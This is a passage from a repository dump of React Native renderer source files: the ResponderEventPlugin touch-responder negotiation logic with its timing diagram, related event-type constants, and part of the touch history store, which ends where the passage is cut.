    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @noflow\n */\n\nimport {\n  executeDirectDispatch,\n  hasDispatches,\n  executeDispatchesInOrderStopAtTrue,\n  getInstanceFromNode,\n  getFiberCurrentPropsFromNode,\n} from './EventPluginUtils';\nimport ResponderSyntheticEvent from './ResponderSyntheticEvent';\nimport ResponderTouchHistoryStore from './ResponderTouchHistoryStore';\nimport accumulate from './accumulate';\nimport {\n  TOP_SCROLL,\n  TOP_SELECTION_CHANGE,\n  TOP_TOUCH_CANCEL,\n  isStartish,\n  isMoveish,\n  isEndish,\n  startDependencies,\n  moveDependencies,\n  endDependencies,\n} from './ResponderTopLevelEventTypes';\nimport accumulateInto from './accumulateInto';\nimport forEachAccumulated from './forEachAccumulated';\nimport {HostComponent} from 'react-reconciler/src/ReactWorkTags';\n\n/**\n * Instance of element that should respond to touch/move types of interactions,\n * as indicated explicitly by relevant callbacks.\n */\nlet responderInst = null;\n\n/**\n * Count of current touches. A textInput should become responder iff the\n * selection changes while there is a touch on the screen.\n */\nlet trackedTouchCount = 0;\n\nfunction changeResponder(nextResponderInst, blockHostResponder) {\n  const oldResponderInst = responderInst;\n  responderInst = nextResponderInst;\n  if (ResponderEventPlugin.GlobalResponderHandler !== null) {\n    ResponderEventPlugin.GlobalResponderHandler.onChange(\n      oldResponderInst,\n      nextResponderInst,\n      blockHostResponder,\n    );\n  }\n}\n\nconst eventTypes = {\n  /**\n   * On a `touchStart`/`mouseDown`, is it desired that this element become the\n   * responder?\n   */\n  startShouldSetResponder: {\n    phasedRegistrationNames: {\n      bubbled: 'onStartShouldSetResponder',\n      captured: 'onStartShouldSetResponderCapture',\n    },\n    dependencies: startDependencies,\n  },\n\n  /**\n   * On a `scroll`, is it desired that this element become the responder? This\n   * is usually not needed, but should be used to retroactively infer that a\n   * `touchStart` had occurred during momentum scroll. During a momentum scroll,\n   * a touch start will be immediately followed by a scroll event if the view is\n   * currently scrolling.\n   *\n   * TODO: This shouldn't bubble.\n   */\n  scrollShouldSetResponder: {\n    phasedRegistrationNames: {\n      bubbled: 'onScrollShouldSetResponder',\n      captured: 'onScrollShouldSetResponderCapture',\n    },\n    dependencies: [TOP_SCROLL],\n  },\n\n  /**\n   * On text selection change, should this element become the responder? This\n   * is needed for text inputs or other views with native selection, so the\n   * JS view can claim the responder.\n   *\n   * TODO: This shouldn't bubble.\n   */\n  selectionChangeShouldSetResponder: {\n    phasedRegistrationNames: {\n      bubbled: 'onSelectionChangeShouldSetResponder',\n      captured: 'onSelectionChangeShouldSetResponderCapture',\n    },\n    dependencies: [TOP_SELECTION_CHANGE],\n  },\n\n  /**\n   * On a `touchMove`/`mouseMove`, is it desired that this element become the\n   * responder?\n   */\n  moveShouldSetResponder: {\n    phasedRegistrationNames: {\n      bubbled: 'onMoveShouldSetResponder',\n      captured: 'onMoveShouldSetResponderCapture',\n    },\n    dependencies: moveDependencies,\n  },\n\n  /**\n   * Direct responder events dispatched directly to responder. Do not bubble.\n   */\n  responderStart: {\n    registrationName: 'onResponderStart',\n    dependencies: startDependencies,\n  },\n  responderMove: {\n    registrationName: 'onResponderMove',\n    dependencies: moveDependencies,\n  },\n  responderEnd: {\n    registrationName: 'onResponderEnd',\n    dependencies: endDependencies,\n  },\n  responderRelease: {\n    registrationName: 'onResponderRelease',\n    dependencies: endDependencies,\n  },\n  responderTerminationRequest: {\n    registrationName: 'onResponderTerminationRequest',\n    dependencies: [],\n  },\n  responderGrant: {\n    registrationName: 'onResponderGrant',\n    dependencies: [],\n  },\n  responderReject: {\n    registrationName: 'onResponderReject',\n    dependencies: [],\n  },\n  responderTerminate: {\n    registrationName: 'onResponderTerminate',\n    dependencies: [],\n  },\n};\n\n// Start of inline: the below functions were inlined from\n// EventPropagator.js, as they deviated from ReactDOM's newer\n// implementations.\n\nfunction getParent(inst) {\n  do {\n    inst = inst.return;\n    // TODO: If this is a HostRoot we might want to bail out.\n    // That is depending on if we want nested subtrees (layers) to bubble\n    // events to their parent. We could also go through parentNode on the\n    // host node but that wouldn't work for React Native and doesn't let us\n    // do the portal feature.\n  } while (inst && inst.tag !== HostComponent);\n  if (inst) {\n    return inst;\n  }\n  return null;\n}\n\n/**\n * Return the lowest common ancestor of A and B, or null if they are in\n * different trees.\n */\nexport function getLowestCommonAncestor(instA, instB) {\n  let depthA = 0;\n  for (let tempA = instA; tempA; tempA = getParent(tempA)) {\n    depthA++;\n  }\n  let depthB = 0;\n  for (let tempB = instB; tempB; tempB = getParent(tempB)) {\n    depthB++;\n  }\n\n  // If A is deeper, crawl up.\n  while (depthA - depthB > 0) {\n    instA = getParent(instA);\n    depthA--;\n  }\n\n  // If B is deeper, crawl up.\n  while (depthB - depthA > 0) {\n    instB = getParent(instB);\n    depthB--;\n  }\n\n  // Walk in lockstep until we find a match.\n  let depth = depthA;\n  while (depth--) {\n    if (instA === instB || instA === instB.alternate) {\n      return instA;\n    }\n    instA = getParent(instA);\n    instB = getParent(instB);\n  }\n  return null;\n}\n\n/**\n * Return if A is an ancestor of B.\n */\nfunction isAncestor(instA, instB) {\n  while (instB) {\n    if (instA === instB || instA === instB.alternate) {\n      return true;\n    }\n    instB = getParent(instB);\n  }\n  return false;\n}\n\n/**\n * Simulates the traversal of a two-phase, capture/bubble event dispatch.\n */\nfunction traverseTwoPhase(inst, fn, arg) {\n  const path = [];\n  while (inst) {\n    path.push(inst);\n    inst = getParent(inst);\n  }\n  let i;\n  for (i = path.length; i-- > 0; ) {\n    fn(path[i], 'captured', arg);\n  }\n  for (i = 0; i < path.length; i++) {\n    fn(path[i], 'bubbled', arg);\n  }\n}\n\nfunction getListener(inst, registrationName) {\n  const stateNode = inst.stateNode;\n  if (stateNode === null) {\n    // Work in progress (ex: onload events in incremental mode).\n    return null;\n  }\n  const props = getFiberCurrentPropsFromNode(stateNode);\n  if (props === null) {\n    // Work in progress.\n    return null;\n  }\n  const listener = props[registrationName];\n\n  if (listener && typeof listener !== 'function') {\n    throw new Error(\n      `Expected \\`${registrationName}\\` listener to be a function, instead got a value of \\`${typeof listener}\\` type.`,\n    );\n  }\n\n  return listener;\n}\n\nfunction listenerAtPhase(inst, event, propagationPhase: PropagationPhases) {\n  const registrationName =\n    event.dispatchConfig.phasedRegistrationNames[propagationPhase];\n  return getListener(inst, registrationName);\n}\n\nfunction accumulateDirectionalDispatches(inst, phase, event) {\n  if (__DEV__) {\n    if (!inst) {\n      console.error('Dispatching inst must not be null');\n    }\n  }\n  const listener = listenerAtPhase(inst, event, phase);\n  if (listener) {\n    event._dispatchListeners = accumulateInto(\n      event._dispatchListeners,\n      listener,\n    );\n    event._dispatchInstances = accumulateInto(event._dispatchInstances, inst);\n  }\n}\n\n/**\n * Accumulates without regard to direction, does not look for phased\n * registration names. Same as `accumulateDirectDispatchesSingle` but without\n * requiring that the `dispatchMarker` be the same as the dispatched ID.\n */\nfunction accumulateDispatches(\n  inst: Object,\n  ignoredDirection: ?boolean,\n  event: Object,\n): void {\n  if (inst && event && event.dispatchConfig.registrationName) {\n    const registrationName = event.dispatchConfig.registrationName;\n    const listener = getListener(inst, registrationName);\n    if (listener) {\n      event._dispatchListeners = accumulateInto(\n        event._dispatchListeners,\n        listener,\n      );\n      event._dispatchInstances = accumulateInto(event._dispatchInstances, inst);\n    }\n  }\n}\n\n/**\n * Accumulates dispatches on an `SyntheticEvent`, but only for the\n * `dispatchMarker`.\n * @param {SyntheticEvent} event\n */\nfunction accumulateDirectDispatchesSingle(event: Object) {\n  if (event && event.dispatchConfig.registrationName) {\n    accumulateDispatches(event._targetInst, null, event);\n  }\n}\n\nfunction accumulateDirectDispatches(events: ?(Array<Object> | Object)) {\n  forEachAccumulated(events, accumulateDirectDispatchesSingle);\n}\n\nfunction accumulateTwoPhaseDispatchesSingleSkipTarget(event) {\n  if (event && event.dispatchConfig.phasedRegistrationNames) {\n    const targetInst = event._targetInst;\n    const parentInst = targetInst ? getParent(targetInst) : null;\n    traverseTwoPhase(parentInst, accumulateDirectionalDispatches, event);\n  }\n}\n\nfunction accumulateTwoPhaseDispatchesSkipTarget(events) {\n  forEachAccumulated(events, accumulateTwoPhaseDispatchesSingleSkipTarget);\n}\n\nfunction accumulateTwoPhaseDispatchesSingle(event) {\n  if (event && event.dispatchConfig.phasedRegistrationNames) {\n    traverseTwoPhase(event._targetInst, accumulateDirectionalDispatches, event);\n  }\n}\n\nfunction accumulateTwoPhaseDispatches(events) {\n  forEachAccumulated(events, accumulateTwoPhaseDispatchesSingle);\n}\n// End of inline\n\n/**\n *\n * Responder System:\n * ----------------\n *\n * - A global, solitary \"interaction lock\" on a view.\n * - If a node becomes the responder, it should convey visual feedback\n *   immediately to indicate so, either by highlighting or moving accordingly.\n * - To be the responder means, that touches are exclusively important to that\n *   responder view, and no other view.\n * - While touches are still occurring, the responder lock can be transferred to\n *   a new view, but only to increasingly \"higher\" views (meaning ancestors of\n *   the current responder).\n *\n * Responder being granted:\n * ------------------------\n *\n * - Touch starts, moves, and scrolls can cause an ID to become the responder.\n * - We capture/bubble `startShouldSetResponder`/`moveShouldSetResponder` to\n *   the \"appropriate place\".\n * - If nothing is currently the responder, the \"appropriate place\" is the\n *   initiating event's `targetID`.\n * - If something *is* already the responder, the \"appropriate place\" is the\n *   first common ancestor of the event target and the current `responderInst`.\n * - Some negotiation happens: See the timing diagram below.\n * - Scrolled views automatically become responder. The reasoning is that a\n *   platform scroll view that isn't built on top of the responder system has\n *   began scrolling, and the active responder must now be notified that the\n *   interaction is no longer locked to it - the system has taken over.\n *\n * - Responder being released:\n *   As soon as no more touches that *started* inside of descendants of the\n *   *current* responderInst, an `onResponderRelease` event is dispatched to the\n *   current responder, and the responder lock is released.\n *\n * TODO:\n * - on \"end\", a callback hook for `onResponderEndShouldRemainResponder` that\n *   determines if the responder lock should remain.\n * - If a view shouldn't \"remain\" the responder, any active touches should by\n *   default be considered \"dead\" and do not influence future negotiations or\n *   bubble paths. It should be as if those touches do not exist.\n * -- For multitouch: Usually a translate-z will choose to \"remain\" responder\n *  after one out of many touches ended. For translate-y, usually the view\n *  doesn't wish to \"remain\" responder after one of many touches end.\n * - Consider building this on top of a `stopPropagation` model similar to\n *   `W3C` events.\n * - Ensure that `onResponderTerminate` is called on touch cancels, whether or\n *   not `onResponderTerminationRequest` returns `true` or `false`.\n *\n */\n\n/*                                             Negotiation Performed\n                                             +-----------------------+\n                                            /                         \\\nProcess low level events to    +     Current Responder      +   wantsResponderID\ndetermine who to perform negot-|   (if any exists at all)   |\niation/transition              | Otherwise just pass through|\n-------------------------------+----------------------------+------------------+\nBubble to find first ID        |                            |\nto return true:wantsResponderID|                            |\n                               |                            |\n     +-------------+           |                            |\n     | onTouchStart|           |                            |\n     +------+------+     none  |                            |\n            |            return|                            |\n+-----------v-------------+true| +------------------------+ |\n|onStartShouldSetResponder|----->|onResponderStart (cur)  |<-----------+\n+-----------+-------------+    | +------------------------+ |          |\n            |                  |                            | +--------+-------+\n            | returned true for|       false:REJECT +-------->|onResponderReject\n            | wantsResponderID |                    |       | +----------------+\n            | (now attempt     | +------------------+-----+ |\n            |  handoff)        | |   onResponder          | |\n            +------------------->|      TerminationRequest| |\n                               | +------------------+-----+ |\n                               |                    |       | +----------------+\n                               |         true:GRANT +-------->|onResponderGrant|\n                               |                            | +--------+-------+\n                               | +------------------------+ |          |\n                               | |   onResponderTerminate |<-----------+\n                               | +------------------+-----+ |\n                               |                    |       | +----------------+\n                               |                    +-------->|onResponderStart|\n                               |                            | +----------------+\nBubble to find first ID        |                            |\nto return true:wantsResponderID|                            |\n                               |                            |\n     +-------------+           |                            |\n     | onTouchMove |           |                            |\n     +------+------+     none  |                            |\n            |            return|                            |\n+-----------v-------------+true| +------------------------+ |\n|onMoveShouldSetResponder |----->|onResponderMove (cur)   |<-----------+\n+-----------+-------------+    | +------------------------+ |          |\n            |                  |                            | +--------+-------+\n            | returned true for|       false:REJECT +-------->|onResponderRejec|\n            | wantsResponderID |                    |       | +----------------+\n            | (now attempt     | +------------------+-----+ |\n            |  handoff)        | |   onResponder          | |\n            +------------------->|      TerminationRequest| |\n                               | +------------------+-----+ |\n                               |                    |       | +----------------+\n                               |         true:GRANT +-------->|onResponderGrant|\n                               |                            | +--------+-------+\n                               | +------------------------+ |          |\n                               | |   onResponderTerminate |<-----------+\n                               | +------------------+-----+ |\n                               |                    |       | +----------------+\n                               |                    +-------->|onResponderMove |\n                               |                            | +----------------+\n                               |                            |\n                               |                            |\n      Some active touch started|                            |\n      inside current responder | +------------------------+ |\n      +------------------------->|      onResponderEnd    | |\n      |                        | +------------------------+ |\n  +---+---------+              |                            |\n  | onTouchEnd  |              |                            |\n  +---+---------+              |                            |\n      |                        | +------------------------+ |\n      +------------------------->|     onResponderEnd     | |\n      No active touches started| +-----------+------------+ |\n      inside current responder |             |              |\n                               |             v              |\n                               | +------------------------+ |\n                               | |    onResponderRelease  | |\n                               | +------------------------+ |\n                               |                            |\n                               +                            + */\n\n/**\n * A note about event ordering in the `EventPluginRegistry`.\n *\n * Suppose plugins are injected in the following order:\n *\n * `[R, S, C]`\n *\n * To help illustrate the example, assume `S` is `SimpleEventPlugin` (for\n * `onClick` etc) and `R` is `ResponderEventPlugin`.\n *\n * \"Deferred-Dispatched Events\":\n *\n * - The current event plugin system will traverse the list of injected plugins,\n *   in order, and extract events by collecting the plugin's return value of\n *   `extractEvents()`.\n * - These events that are returned from `extractEvents` are \"deferred\n *   dispatched events\".\n * - When returned from `extractEvents`, deferred-dispatched events contain an\n *   \"accumulation\" of deferred dispatches.\n * - These deferred dispatches are accumulated/collected before they are\n *   returned, but processed at a later time by the `EventPluginRegistry` (hence the\n *   name deferred).\n *\n * In the process of returning their deferred-dispatched events, event plugins\n * themselves can dispatch events on-demand without returning them from\n * `extractEvents`. Plugins might want to do this, so that they can use event\n * dispatching as a tool that helps them decide which events should be extracted\n * in the first place.\n *\n * \"On-Demand-Dispatched Events\":\n *\n * - On-demand-dispatched events are not returned from `extractEvents`.\n * - On-demand-dispatched events are dispatched during the process of returning\n *   the deferred-dispatched events.\n * - They should not have side effects.\n * - They should be avoided, and/or eventually be replaced with another\n *   abstraction that allows event plugins to perform multiple \"rounds\" of event\n *   extraction.\n *\n * Therefore, the sequence of event dispatches becomes:\n *\n * - `R`s on-demand events (if any)   (dispatched by `R` on-demand)\n * - `S`s on-demand events (if any)   (dispatched by `S` on-demand)\n * - `C`s on-demand events (if any)   (dispatched by `C` on-demand)\n * - `R`s extracted events (if any)   (dispatched by `EventPluginRegistry`)\n * - `S`s extracted events (if any)   (dispatched by `EventPluginRegistry`)\n * - `C`s extracted events (if any)   (dispatched by `EventPluginRegistry`)\n *\n * In the case of `ResponderEventPlugin`: If the `startShouldSetResponder`\n * on-demand dispatch returns `true` (and some other details are satisfied) the\n * `onResponderGrant` deferred dispatched event is returned from\n * `extractEvents`. The sequence of dispatch executions in this case\n * will appear as follows:\n *\n * - `startShouldSetResponder` (`ResponderEventPlugin` dispatches on-demand)\n * - `touchStartCapture`       (`EventPluginRegistry` dispatches as usual)\n * - `touchStart`              (`EventPluginRegistry` dispatches as usual)\n * - `responderGrant/Reject`   (`EventPluginRegistry` dispatches as usual)\n */\n\nfunction setResponderAndExtractTransfer(\n  topLevelType,\n  targetInst,\n  nativeEvent,\n  nativeEventTarget,\n) {\n  const shouldSetEventType = isStartish(topLevelType)\n    ? eventTypes.startShouldSetResponder\n    : isMoveish(topLevelType)\n      ? eventTypes.moveShouldSetResponder\n      : topLevelType === TOP_SELECTION_CHANGE\n        ? eventTypes.selectionChangeShouldSetResponder\n        : eventTypes.scrollShouldSetResponder;\n\n  // TODO: stop one short of the current responder.\n  const bubbleShouldSetFrom = !responderInst\n    ? targetInst\n    : getLowestCommonAncestor(responderInst, targetInst);\n\n  // When capturing/bubbling the \"shouldSet\" event, we want to skip the target\n  // (deepest ID) if it happens to be the current responder. The reasoning:\n  // It's strange to get an `onMoveShouldSetResponder` when you're *already*\n  // the responder.\n  const skipOverBubbleShouldSetFrom = bubbleShouldSetFrom === responderInst;\n  const shouldSetEvent = ResponderSyntheticEvent.getPooled(\n    shouldSetEventType,\n    bubbleShouldSetFrom,\n    nativeEvent,\n    nativeEventTarget,\n  );\n  shouldSetEvent.touchHistory = ResponderTouchHistoryStore.touchHistory;\n  if (skipOverBubbleShouldSetFrom) {\n    accumulateTwoPhaseDispatchesSkipTarget(shouldSetEvent);\n  } else {\n    accumulateTwoPhaseDispatches(shouldSetEvent);\n  }\n  const wantsResponderInst = executeDispatchesInOrderStopAtTrue(shouldSetEvent);\n  if (!shouldSetEvent.isPersistent()) {\n    shouldSetEvent.constructor.release(shouldSetEvent);\n  }\n\n  if (!wantsResponderInst || wantsResponderInst === responderInst) {\n    return null;\n  }\n  let extracted;\n  const grantEvent = ResponderSyntheticEvent.getPooled(\n    eventTypes.responderGrant,\n    wantsResponderInst,\n    nativeEvent,\n    nativeEventTarget,\n  );\n  grantEvent.touchHistory = ResponderTouchHistoryStore.touchHistory;\n\n  accumulateDirectDispatches(grantEvent);\n  const blockHostResponder = executeDirectDispatch(grantEvent) === true;\n  if (responderInst) {\n    const terminationRequestEvent = ResponderSyntheticEvent.getPooled(\n      eventTypes.responderTerminationRequest,\n      responderInst,\n      nativeEvent,\n      nativeEventTarget,\n    );\n    terminationRequestEvent.touchHistory =\n      ResponderTouchHistoryStore.touchHistory;\n    accumulateDirectDispatches(terminationRequestEvent);\n    const shouldSwitch =\n      !hasDispatches(terminationRequestEvent) ||\n      executeDirectDispatch(terminationRequestEvent);\n    if (!terminationRequestEvent.isPersistent()) {\n      terminationRequestEvent.constructor.release(terminationRequestEvent);\n    }\n\n    if (shouldSwitch) {\n      const terminateEvent = ResponderSyntheticEvent.getPooled(\n        eventTypes.responderTerminate,\n        responderInst,\n        nativeEvent,\n        nativeEventTarget,\n      );\n      terminateEvent.touchHistory = ResponderTouchHistoryStore.touchHistory;\n      accumulateDirectDispatches(terminateEvent);\n      extracted = accumulate(extracted, [grantEvent, terminateEvent]);\n      changeResponder(wantsResponderInst, blockHostResponder);\n    } else {\n      const rejectEvent = ResponderSyntheticEvent.getPooled(\n        eventTypes.responderReject,\n        wantsResponderInst,\n        nativeEvent,\n        nativeEventTarget,\n      );\n      rejectEvent.touchHistory = ResponderTouchHistoryStore.touchHistory;\n      accumulateDirectDispatches(rejectEvent);\n      extracted = accumulate(extracted, rejectEvent);\n    }\n  } else {\n    extracted = accumulate(extracted, grantEvent);\n    changeResponder(wantsResponderInst, blockHostResponder);\n  }\n  return extracted;\n}\n\n/**\n * A transfer is a negotiation between a currently set responder and the next\n * element to claim responder status. Any start event could trigger a transfer\n * of responderInst. Any move event could trigger a transfer.\n *\n * @param {string} topLevelType Record from `BrowserEventConstants`.\n * @return {boolean} True if a transfer of responder could possibly occur.\n */\nfunction canTriggerTransfer(topLevelType, topLevelInst, nativeEvent) {\n  return (\n    topLevelInst &&\n    // responderIgnoreScroll: We are trying to migrate away from specifically\n    // tracking native scroll events here and responderIgnoreScroll indicates we\n    // will send topTouchCancel to handle canceling touch events instead\n    ((topLevelType === TOP_SCROLL && !nativeEvent.responderIgnoreScroll) ||\n      (trackedTouchCount > 0 && topLevelType === TOP_SELECTION_CHANGE) ||\n      isStartish(topLevelType) ||\n      isMoveish(topLevelType))\n  );\n}\n\n/**\n * Returns whether or not this touch end event makes it such that there are no\n * longer any touches that started inside of the current `responderInst`.\n *\n * @param {NativeEvent} nativeEvent Native touch end event.\n * @return {boolean} Whether or not this touch end event ends the responder.\n */\nfunction noResponderTouches(nativeEvent) {\n  const touches = nativeEvent.touches;\n  if (!touches || touches.length === 0) {\n    return true;\n  }\n  for (let i = 0; i < touches.length; i++) {\n    const activeTouch = touches[i];\n    const target = activeTouch.target;\n    if (target !== null && target !== undefined && target !== 0) {\n      // Is the original touch location inside of the current responder?\n      const targetInst = getInstanceFromNode(target);\n      if (isAncestor(responderInst, targetInst)) {\n        return false;\n      }\n    }\n  }\n  return true;\n}\n\nconst ResponderEventPlugin = {\n  /* For unit testing only */\n  _getResponder: function () {\n    return responderInst;\n  },\n\n  eventTypes: eventTypes,\n\n  /**\n   * We must be resilient to `targetInst` being `null` on `touchMove` or\n   * `touchEnd`. On certain platforms, this means that a native scroll has\n   * assumed control and the original touch targets are destroyed.\n   */\n  extractEvents: function (\n    topLevelType,\n    targetInst,\n    nativeEvent,\n    nativeEventTarget,\n    eventSystemFlags,\n  ) {\n    if (isStartish(topLevelType)) {\n      trackedTouchCount += 1;\n    } else if (isEndish(topLevelType)) {\n      if (trackedTouchCount >= 0) {\n        trackedTouchCount -= 1;\n      } else {\n        if (__DEV__) {\n          console.warn(\n            'Ended a touch event which was not counted in `trackedTouchCount`.',\n          );\n        }\n        return null;\n      }\n    }\n\n    ResponderTouchHistoryStore.recordTouchTrack(topLevelType, nativeEvent);\n\n    let extracted = canTriggerTransfer(topLevelType, targetInst, nativeEvent)\n      ? setResponderAndExtractTransfer(\n          topLevelType,\n          targetInst,\n          nativeEvent,\n          nativeEventTarget,\n        )\n      : null;\n    // Responder may or may not have transferred on a new touch start/move.\n    // Regardless, whoever is the responder after any potential transfer, we\n    // direct all touch start/move/ends to them in the form of\n    // `onResponderMove/Start/End`. These will be called for *every* additional\n    // finger that move/start/end, dispatched directly to whoever is the\n    // current responder at that moment, until the responder is \"released\".\n    //\n    // These multiple individual change touch events are are always bookended\n    // by `onResponderGrant`, and one of\n    // (`onResponderRelease/onResponderTerminate`).\n    const isResponderTouchStart = responderInst && isStartish(topLevelType);\n    const isResponderTouchMove = responderInst && isMoveish(topLevelType);\n    const isResponderTouchEnd = responderInst && isEndish(topLevelType);\n    const incrementalTouch = isResponderTouchStart\n      ? eventTypes.responderStart\n      : isResponderTouchMove\n        ? eventTypes.responderMove\n        : isResponderTouchEnd\n          ? eventTypes.responderEnd\n          : null;\n\n    if (incrementalTouch) {\n      const gesture = ResponderSyntheticEvent.getPooled(\n        incrementalTouch,\n        responderInst,\n        nativeEvent,\n        nativeEventTarget,\n      );\n      gesture.touchHistory = ResponderTouchHistoryStore.touchHistory;\n      accumulateDirectDispatches(gesture);\n      extracted = accumulate(extracted, gesture);\n    }\n\n    const isResponderTerminate =\n      responderInst && topLevelType === TOP_TOUCH_CANCEL;\n    const isResponderRelease =\n      responderInst &&\n      !isResponderTerminate &&\n      isEndish(topLevelType) &&\n      noResponderTouches(nativeEvent);\n    const finalTouch = isResponderTerminate\n      ? eventTypes.responderTerminate\n      : isResponderRelease\n        ? eventTypes.responderRelease\n        : null;\n    if (finalTouch) {\n      const finalEvent = ResponderSyntheticEvent.getPooled(\n        finalTouch,\n        responderInst,\n        nativeEvent,\n        nativeEventTarget,\n      );\n      finalEvent.touchHistory = ResponderTouchHistoryStore.touchHistory;\n      accumulateDirectDispatches(finalEvent);\n      extracted = accumulate(extracted, finalEvent);\n      changeResponder(null);\n    }\n\n    return extracted;\n  },\n\n  GlobalResponderHandler: null,\n\n  injection: {\n    /**\n     * @param {{onChange: (ReactID, ReactID) => void} GlobalResponderHandler\n     * Object that handles any change in responder. Use this to inject\n     * integration with an existing touch handling system etc.\n     */\n    injectGlobalResponderHandler(GlobalResponderHandler) {\n      ResponderEventPlugin.GlobalResponderHandler = GlobalResponderHandler;\n    },\n  },\n};\n\nexport default ResponderEventPlugin;\n"
  },
  {
    "path": "packages/react-native-renderer/src/legacy-events/ResponderSyntheticEvent.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport SyntheticEvent from './SyntheticEvent';\n\n/**\n * `touchHistory` isn't actually on the native event, but putting it in the\n * interface will ensure that it is cleaned up when pooled/destroyed. The\n * `ResponderEventPlugin` will populate it appropriately.\n */\nconst ResponderSyntheticEvent = SyntheticEvent.extend({\n  touchHistory: function (nativeEvent) {\n    return null; // Actually doesn't even look at the native event.\n  },\n});\n\nexport default ResponderSyntheticEvent;\n"
  },
  {
    "path": "packages/react-native-renderer/src/legacy-events/ResponderTopLevelEventTypes.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport const TOP_TOUCH_START = 'topTouchStart';\nexport const TOP_TOUCH_MOVE = 'topTouchMove';\nexport const TOP_TOUCH_END = 'topTouchEnd';\nexport const TOP_TOUCH_CANCEL = 'topTouchCancel';\nexport const TOP_SCROLL = 'topScroll';\nexport const TOP_SELECTION_CHANGE = 'topSelectionChange';\n\nexport function isStartish(topLevelType: mixed): boolean {\n  return topLevelType === TOP_TOUCH_START;\n}\n\nexport function isMoveish(topLevelType: mixed): boolean {\n  return topLevelType === TOP_TOUCH_MOVE;\n}\n\nexport function isEndish(topLevelType: mixed): boolean {\n  return topLevelType === TOP_TOUCH_END || topLevelType === TOP_TOUCH_CANCEL;\n}\n\nexport const startDependencies = [TOP_TOUCH_START];\nexport const moveDependencies = [TOP_TOUCH_MOVE];\nexport const endDependencies = [TOP_TOUCH_CANCEL, TOP_TOUCH_END];\n"
  },
  {
    "path": "packages/react-native-renderer/src/legacy-events/ResponderTouchHistoryStore.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {isStartish, isMoveish, isEndish} from './ResponderTopLevelEventTypes';\n\n/**\n * Tracks the position and time of each active touch by `touch.identifier`. We\n * should typically only see IDs in the range of 1-20 because IDs get recycled\n * when touches end and start again.\n */\ntype TouchRecord = {\n  touchActive: boolean,\n  startPageX: number,\n  startPageY: number,\n  startTimeStamp: number,\n  currentPageX: number,\n  currentPageY: number,\n  currentTimeStamp: number,\n  previousPageX: number,\n  previousPageY: number,\n  previousTimeStamp: number,\n};\n\nconst MAX_TOUCH_BANK = 20;\nconst touchBank: Array<TouchRecord> = [];\nconst touchHistory = {\n  touchBank,\n  numberActiveTouches: 0,\n  // If there is only one active touch, we remember its location. This prevents\n  // us having to loop through all of the touches all the time in the most\n  // common case.\n  indexOfSingleActiveTouch: -1,\n  mostRecentTimeStamp: 0,\n};\n\ntype Touch = {\n  identifier: ?number,\n  pageX: number,\n  pageY: number,\n  timestamp: number,\n  ...\n};\ntype TouchEvent = {\n  changedTouches: Array<Touch>,\n  touches: Array<Touch>,\n  ...\n};\n\nfunction timestampForTouch(touch: Touch): number {\n  // The legacy internal implementation provides \"timeStamp\", which has been\n  // renamed to \"timestamp\". Let both work for now while we iron it out\n  // TODO (evv): rename timeStamp to timestamp in internal code\n  return (touch: any).timeStamp || touch.timestamp;\n}\n\n/**\n * TODO: Instead of making gestures recompute filtered velocity, we could\n * include a built in velocity computation that can be reused globally.\n */\nfunction createTouchRecord(touch: Touch): TouchRecord {\n  return {\n    touchActive: true,\n    startPageX: touch.pageX,\n    startPageY: touch.pageY,\n    startTimeStamp: timestampForTouch(touch),\n    currentPageX: touch.pageX,\n    currentPageY: touch.pageY,\n    currentTimeStamp: timestampForTouch(touch),\n    previousPageX: touch.pageX,\n    previousPageY: touch.pageY,\n    previousTimeStamp: timestampForTouch(touch),\n  };\n}\n\nfunction resetTouchRecord(touchRecord: TouchRecord, touch: Touch): void {\n  touchRecord.touchActive = true;\n  touchRecord.startPageX = touch.pageX;\n  touchRecord.startPageY = touch.pageY;\n  touchRecord.startTimeStamp = timestampForTouch(touch);\n  touchRecord.currentPageX = touch.pageX;\n  touchRecord.currentPageY = touch.pageY;\n  touchRecord.currentTimeStamp = timestampForTouch(touch);\n  touchRecord.previousPageX = touch.pageX;\n  touchRecord.previousPageY = touch.pageY;\n  touchRecord.previousTimeStamp = timestampForTouch(touch);\n}\n\nfunction getTouchIdentifier({identifier}: Touch): number {\n  if (identifier == null) {\n    throw new Error('Touch object is missing identifier.');\n  }\n\n  if (__DEV__) {\n    if (identifier > MAX_TOUCH_BANK) {\n      console.error(\n        'Touch identifier %s is greater than maximum supported %s which causes ' +\n          'performance issues backfilling array locations for all of the indices.',\n        identifier,\n        MAX_TOUCH_BANK,\n      );\n    }\n  }\n  return identifier;\n}\n\nfunction recordTouchStart(touch: Touch): void {\n  const identifier = getTouchIdentifier(touch);\n  const touchRecord = touchBank[identifier];\n  if (touchRecord) {\n    resetTouchRecord(touchRecord, touch);\n  } else {\n    touchBank[identifier] = createTouchRecord(touch);\n  }\n  touchHistory.mostRecentTimeStamp = timestampForTouch(touch);\n}\n\nfunction recordTouchMove(touch: Touch): void {\n  const touchRecord = touchBank[getTouchIdentifier(touch)];\n  if (touchRecord) {\n    touchRecord.touchActive = true;\n    touchRecord.previousPageX = touchRecord.currentPageX;\n    touchRecord.previousPageY = touchRecord.currentPageY;\n    touchRecord.previousTimeStamp = touchRecord.currentTimeStamp;\n    touchRecord.currentPageX = touch.pageX;\n    touchRecord.currentPageY = touch.pageY;\n    touchRecord.currentTimeStamp = timestampForTouch(touch);\n    touchHistory.mostRecentTimeStamp = timestampForTouch(touch);\n  } else {\n    if (__DEV__) {\n      console.warn(\n        'Cannot record touch move without a touch start.\\n' +\n          'Touch Move: %s\\n' +\n          'Touch Bank: %s',\n        printTouch(touch),\n        printTouchBank(),\n      );\n    }\n  }\n}\n\nfunction recordTouchEnd(touch: Touch): void {\n  const touchRecord = touchBank[getTouchIdentifier(touch)];\n  if (touchRecord) {\n    touchRecord.touchActive = false;\n    touchRecord.previousPageX = touchRecord.currentPageX;\n    touchRecord.previousPageY = 